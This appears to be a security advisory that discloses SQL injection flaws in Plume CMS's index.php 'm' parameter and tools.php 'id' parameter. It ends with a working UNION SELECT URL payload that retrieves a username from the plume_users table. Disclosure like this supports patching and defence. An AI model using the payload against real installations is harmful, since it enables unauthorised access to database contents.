Details.

Plume CMS is a content management system written in PHP. The application 
suffers from SQL injection vulnerabilities in index.php and tools.php, as it 
fails to validate data supplied in the "m" variable of index.php before 
being used in a SQL query. Additionally, the variable "id" of tools.php is 
also vulnerable to the same type of attack.

SQL injection attacks can give an attacker access to backend database 
contents, the ability to remotely execute system commands, or in some 
circumstances the means to take control of the operating system hosting the 
database.



Proof of Concept.

The below POC will return the first username from the users table: 
/plume/manager/index.php?m=1 UNION SELECT 
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,user_username,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL 
FROM plume_users LIMIT 1,1--
